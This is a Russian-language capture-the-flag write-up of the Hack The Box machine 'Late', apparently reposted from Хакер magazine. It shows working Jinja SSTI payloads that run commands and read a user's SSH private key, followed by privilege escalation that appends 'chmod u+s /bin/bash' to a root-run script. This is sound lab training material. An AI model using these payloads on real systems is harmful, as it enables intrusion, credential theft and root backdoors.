Хакер - HTB Late. Эксплуатируем инъекцию шаблонов в сервисе обработки изображений

Хакер - HTB Late. Эксплуатируем инъекцию шаблонов в сервисе обработки изображений

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • От SSTI к RCE
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать сер­верную инъ­екцию шаб­лонов (SSTI) в сер­висе для рас­позна­вания тек­ста на изоб­ражени­ях. А в повыше­нии при­виле­гий нам поможет поль­зователь­ский скрипт для отсле­жива­ния логина и лога­ута поль­зовате­лей. Упражнять­ся будем на «лег­кой» машине Late с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.156 late.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим все­го два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 80 — веб‑сер­вер Nginx 1.14.0.

Бру­тить SSH смыс­ла нет, поэто­му начина­ем иссле­дова­ние с веб‑сер­вера.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но машины с HTB поч­ти всег­да мож­но прой­ти по‑дру­гому. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Заг­лянем на сайт через бра­узер.

Глав­ная стра­ница сай­та http://late.htb

ТОЧКА ВХОДА

На сай­те видим все­го две стра­ницы: Home (текущая) и Contact. Поп­робу­ем поис­кать скры­тый кон­тент.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ffuf:

ffuf -u 'http://late.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Сно­ва ничего инте­рес­ного. Тог­да перей­дем к ска­ниро­ванию фай­лов HTML (ведь нас встре­тили имен­но такие ста­тичес­кие стра­ницы):

ffuf -u 'http://late.htb/FUZZ.html' -t 256 -w directory_2.3_medium_lowercase.txt

Ре­зуль­тат ска­ниро­вания HTML-фай­лов с помощью ffuf

И сно­ва ничего нового. Тог­да я решил прос­мотреть исходни­ки стра­ниц и сра­зу обна­ружил в тек­сте ссыл­ку, ведущую на дру­гой под­домен!

Ссыл­ка в тек­сте
Но­вый под­домен

Най­ден­ный под­домен добавим в файл /etc/hosts и заг­лянем на рас­положен­ный там сайт.

10.10.11.156 late.htb images.late.htb

Глав­ная стра­ница сай­та http://images.late.htb

Нас встре­чает пре­обра­зова­тель изоб­ражений в текст, написан­ный с исполь­зовани­ем Flask, а это зна­чит, что нуж­но сра­зу про­верить наличие уяз­вимос­тей SSTI. 

ТОЧКА ОПОРЫ

Я решил отпра­вить пер­вое попав­шееся под руку изоб­ражение, что­бы пос­мотреть, как работа­ет этот кон­вертер, и в ответ получил зап­рос на сох­ранение фай­ла. Файл содер­жал весь текст с отправ­ленно­го изоб­ражения, зак­лючен­ный в тег <p>.

От­прав­ленное изоб­ражение и ска­чан­ный файл

От SSTI к RCE

Раз мы можем управлять кодом на стра­нице, поп­робу­ем про­экс­плу­ати­ровать SSTI.

Справка: server-side template injection

Server-side template injection (SSTI), или инъ­екция шаб­лонов на сто­роне сер­вера, — это механизм ата­ки, при котором зло­умыш­ленник внед­ряет в шаб­лон вре­донос­ный код. Шаб­лоны нуж­ны веб‑раз­работ­чикам, что­бы мож­но было нас­тра­ивать внеш­ний вид сай­та толь­ко в одном мес­те и затем не копиро­вать вруч­ную. По сути, шаб­лон — это документ HTML, где в нуж­ных мес­тах отме­чены перемен­ные и коман­ды, которые при генера­ции ито­говой стра­ницы будут замене­ны дан­ными. В том чис­ле это могут быть и дан­ные, получен­ные от посети­теля сай­та.

Ата­ка зат­рагива­ет момент, ког­да прис­ланная информа­ция объ­еди­няет­ся с шаб­лоном. Зло­умыш­ленник фор­миру­ет стро­ку таким обра­зом, что­бы она не прос­то под­ста­вилась в шаб­лон, но была интер­пре­тиро­вана как код. Если это воз­можно, то он добавит свои дирек­тивы, с помощью которых выпол­нит эксфиль­тра­цию дан­ных или даже зах­ват веб‑сер­вера.

В качес­тве тес­та уяз­вимос­ти SSTI я отпра­вил {{7*7}}. Если сер­вер уяз­вим, он выпол­нит это выраже­ние и вер­нет нам резуль­тат. Я написал эту пос­ледова­тель­ность в тек­сто­вом редак­торе, сде­лал скрин­шот и отпра­вил его.

Тест уяз­вимос­ти SSTI

Ви­дим, что сер­вер уяз­вим к внед­рению шаб­лонов. Не выпол­няя обыч­ные перечис­ления, я решил сра­зу поп­робовать получить RCE. Давай получим резуль­тат выпол­нения коман­ды id. Для это­го импорти­руем модуль os. Сно­ва пишем весь код в редак­торе, дела­ем скрин­шот, отправ­ляем изоб­ражение и получа­ем информа­цию о текущем кон­тек­сте работы.

${{ config.__class__.from_envvar.__globals__.import_string("os").popen("id").read() }}

Ре­зуль­тат выпол­нения коман­ды id

RCE есть, теперь нуж­но получить ста­биль­ный дос­туп к хос­ту. Не будем сра­зу пытать­ся проб­росить реверс‑шелл, а сна­чала зап­росим при­ват­ный ключ поль­зовате­ля svc_acc, что даст нам воз­можность под­клю­чить­ся по SSH.

${{ config.__class__.from_envvar.__globals__.import_string("os").popen("cat /home/svc_acc/.ssh/id_rsa").read() }}

При­ват­ный ключ поль­зовате­ля

Есть при­ват­ный ключ. Копиру­ем его в отдель­ный файл, наз­нача­ем пра­ва коман­дой chmod 0600 id_rsa, затем под­клю­чаем­ся по SSH и забира­ем флаг поль­зовате­ля.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Заг­рузим на хост скрипт PEASS, запус­тим его и пос­мотрим, что он най­дет.

Справка: скрипты PEASS для Linux (загрузка через SCP)

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh

За­тем с помощью встро­енных средств SSH заг­ружа­ем скрипт на уда­лен­ный хост, наз­нача­ем ему пра­ва и выпол­няем.

scp -i id_rsa /tmp/linpeas.sh svc_acc@late.htb:/tmp/

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

Ре­зуль­тат работы скрип­та

Мы узна­ли, что в нашем вла­дении — скрипт /usr/local/sbin/ssh-alert.sh. Пос­мотрим, для чего он нужен.

Со­дер­жимое скрип­та ssh-alert.sh

Этот скрипт сооб­щает, что обна­ружен логин по SSH, и отправ­ляет руту сооб­щение с помощью sendmail. Так как мы вла­дель­цы это­го фай­ла, мы можем внес­ти в него изме­нения. Давай пос­мотрим, что при­водит к его запус­ку.

Для отсле­жива­ния запус­каемых про­цес­сов в сис­теме будем исполь­зовать ути­литу pspy64. Заг­рузим ее на хост тем же спо­собом, которым заг­ружали linpeas, а потом выпол­ним. Пос­коль­ку най­ден­ный скрипт сооб­щает о под­клю­чении по SSH, в дру­гом тер­минале под­клю­чим­ся по SSH, а затем отклю­чим­ся.

Ло­гин и лога­ут SSH и логи psps64

В выводе находим отоб­ражение запус­ка най­ден­ного скрип­та, но, что более инте­рес­но, он запус­кает­ся в кон­тек­сте поль­зовате­ля с UID=0, а это root. Таким обра­зом, мы можем написать в скрипт свои коман­ды, которые будут выпол­нены в при­виле­гиро­ван­ном кон­тек­сте.

В качес­тве метода зак­репле­ния давай наз­начим фай­лу коман­дной обо­лоч­ки бит SUID.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

echo "chmod u+s /bin/bash" >> ssh-alert.sh

Те­перь сно­ва зай­дем по SSH, сра­зу же вый­дем и про­верим пра­ва на файл.

Пра­ва на файл /bin/bash

S-бит уста­нов­лен, и мы можем изме­нить кон­текст поль­зовате­ля и заб­рать флаг рута.

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page